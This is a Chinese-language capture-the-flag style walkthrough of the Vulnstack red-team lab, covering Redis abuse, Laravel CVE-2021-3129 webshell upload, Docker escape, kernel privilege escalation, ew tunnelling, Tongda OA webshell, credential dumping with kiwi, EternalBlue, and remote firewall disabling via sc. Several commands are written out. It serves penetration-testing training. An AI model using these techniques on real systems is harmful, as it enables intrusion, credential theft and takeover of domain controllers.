Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))

这么久没打vulnhub全是因为在吃这一套内网靶场(绝对没有在摸鱼 ),现在把我的思路写下来

前言

这是Vulnstack里的一套靶场,ATT&CK实战系列-红队评估(七)
这是靶场的链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

网络环境

整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中:
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第1张图片
DMZ区IP段为192.168.1.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24

靶机环境的配置

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe

注意事项

开全部靶机,16G是最低配置,内存不够可以分开渗透
参考了两位大佬的博客:官方writeup与这一篇

外网渗透

信息收集

第一步肯定是我们熟悉的信息收集啦
先拿到靶机的IP,然后进行namp扫描
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第2张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第3张图片
访问一下80和81端口
80端口
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第4张图片
404页面,我们再访问81端口
81端口
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第5张图片
是Laravel框架搭建的,版本为8.29.0
我们百度一下这个框架的漏洞,发现有一个远程代码执行漏洞
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第6张图片

Redis未授权访问

我们尝试一下redis未授权访问
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第7张图片
发现是存在这个漏洞的,这就好办了,我们创建一个ssh密钥,然后上传上去,就可以直接ssh连接到靶机了
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第8张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第9张图片
这里添加换行符是为了跟redies本身的缓存分开来
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第10张图片
然后我们直接上传即可
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第11张图片
然后我们登录进去,设置一下保存的路径跟文件名然后保存即可Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第12张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第13张图片
成功获取到了root权限
我们先把它的shell反弹到msf先
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第14张图片
在这里插入图片描述
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第15张图片
成功上线,我们再拿一下另外一台靶机的shell

Laravel Debug模式 RCE漏洞(CVE-2021-3129)

我们去github把exp下载下来
Github地址:https://github.com/zhzyker/CVE-2021-3129
下载下来后我们测试一下
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第16张图片
成功运行,我们修改一下exp的源码,把id改成写入一句话木马
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第17张图片
再运行一下之后直接用蚁剑连接即可
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第18张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第19张图片
我们使用蚁剑的虚拟终端,反弹一下shell到kali上
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第20张图片
在这里插入图片描述
成功反弹了shell,但是反弹过来的shell的主机名很奇怪,猜测应该是在docker容器里面
在这里插入图片描述
先不管那么多,先看看有没有什么可以提权的东西
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第21张图片
发现用户jobs下面有个可执行文件,我们去看看
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第22张图片
发现执行了ps这个命令,这就好办了,我们创建一个虚假的ps,然后改一下PATH,就可以得到root权限了
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第23张图片

echo '/bin/bash' > /tmp/ps
chmod 777 /tmp/ps
export PATH=/tmp:$PATH
echo $PATH

修改好之后,我们重新运行一下shell文件
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第24张图片
成功获取到了root权限,我们现在可以考虑一下docker逃逸了

Docker特权模式逃逸

我们使用fdisk -l查看一下磁盘文件
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第25张图片
发现有/dev/sda1,我们创建一个文件夹,然后把这个文件挂载到我们创建的文件夹下
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第26张图片
挂载成功,我们看一下有没有用户
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第27张图片
发现存在一下名为ubuntu的用户,这样就好办了,我们创建一个公钥把它添加到靶机的私钥里,就可以直接使用ssh登录了
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第28张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第29张图片

ubuntu:
ssh-keygen -f hello
cat hello.pub
靶机:
cd /hack/home/ubuntu/.ssh
echo 'cat hellow.pub得到的东西' > authorized_keys

Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第30张图片
成功登录,但是我们并不是root权限,我们查看一下靶机的内核,看看有没有漏洞
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第31张图片
发现有个叫cve-2021-3493的漏洞,刚好包含了这个版本

Linux kernel特权提升漏洞(CVE-2021-3493)

我们先把exp复制进靶机
Github地址:https://github.com/briskets/CVE-2021-3493
编译下,然后运行
在这里插入图片描述
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第32张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第33张图片
成功获取到root权限,我们也把它的shell反弹到msf
在这里插入图片描述
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第34张图片
解下来,我们使用DMZ区域的ubuntu添加一个通往52网段的路由
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第35张图片
然后我们扫描一下这个网段还有没有开放的靶机
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第36张图片
在这里插入图片描述
还有一台30存活,但是我们的nmap在攻击机上,这个添加的路由之支持msf里面的工具,所以我们还需要搭建一个代理
我们使用ew工具搭建一个代理

内网渗透

我们先把工具上传到靶机
在这里插入图片描述
然后在本地使用如下命令开始监听
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是把1080端口的请求转发到8888端口
然后在目标机器上输入

./ew_for_linux64 -s rssocks -d 192.168.2.18 -e 8888

Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第37张图片
之后就连接成功了,我们还需要配置一下proxy的代理
在这里插入图片描述
在这里插入图片描述
这样只要在想使用的命令前加上proxychains4就可以让他走这个代理了
我们使用这个方法,nmap扫描一下刚刚发现的30靶机

proxychains4 nmap -Pn -sT -sV 192.168.52.30

Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第38张图片
发现开放了一个网页,端口为8080,我们访问看看,注意,火狐也要配置代理
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第39张图片
配置好后我们访问

发现是一个通达OA的办公系统
查了一下发现是存在一个任意用户登录,文件上传漏洞的,我们可以尝试上传一个webshell

关于通达OA漏洞更详细的讲解:https://blog.csdn.net/szgyunyun/article/details/107104288

按照教程的方法,我们尝试上传一个webshell
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第40张图片
上传成功,我们看看能不能利用
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第41张图片
利用成功了,并且权限是最高的为system
然后就是反弹一个shell到msf了
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第42张图片
把这一串powershell命令放到burp执行
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第43张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第44张图片
成功反弹了shell

拿下域控

我们查看一下他的域信息
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第45张图片
发现有一个whoamianony域
我们使用kiwi模块尝试抓一下密码
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第46张图片
报错了,说要64位进程才可以运行,我们随便找一个64位进程迁移一下即可
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第47张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第48张图片
抓到了域控的账号密码
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第49张图片
还有一个bunny的账号密码

第三层网络渗透

已经拿下了第二层所有的靶机,只剩下最后两个第三层的主机,我们使用之前的sessions添加一个通往93网段的路由
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第50张图片
我们扫描一下,看看有什么靶机存活
在这里插入图片描述
有20,30和40,其中20已经被我们拿下了,只剩下30跟40了,我们重新搭建一个代理,这次代理要带我们进入93网段,得用其中一台机子当踏板
我们把ew上传到20这台机子
在这里插入图片描述
我们现在攻击机执行如下命令

./ew_for_linux64 -s lcx_listen -l 1090 -e 9998

然后在20这台机子上执行,建立正向socks代理

ew_for_Win.exe -s ssocksd -l 999

然后在我们最开始拿到的DMZ区域的ubuntu上执行,将攻击机的9998端口跟20机的999端口连起来

./ew_for_linux64 -s lcx_slave -d 192.168.2.18 -e 9998 -f 192.168.52.30 -g 999

Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第51张图片
成功连接,我们再修改一下配置文件
在这里插入图片描述
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第52张图片
windows嘛,懂得都懂,我们首先使用永恒之蓝打一下40这台机子
先给msf设置一下代理
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第53张图片

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
exploit

Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第54张图片
芜湖!成功得到shell,但当我在打这个字的时候,他就直接断掉了…
由于某种原因,我们重新打一遍
在这里插入图片描述
获取到了四台靶机的shell了,只剩下一个DC域控了
还记得我们之前抓到的域控密码吗,我们使用尝试登录一下域控
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第55张图片
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第56张图片
利用成功了,但是并没有反弹shell回来,有可能是防火墙拦截了,我们使用20这台机子登录到域控,把防火墙关闭即可
首先登录一下

net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”

Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第57张图片
添加一个关闭防火墙的服务,然后在运行一下我们创建的服务即可

sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \192.168.93.30 start unablefirewall

然后我们重新利用一下漏洞
Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))_第58张图片
成功获取到了shell,至此,五台靶机的shell,都已经拿到了

你可能感兴趣的:(Vulnstack内网渗透,网络安全,安全,系统安全,web安全,linux)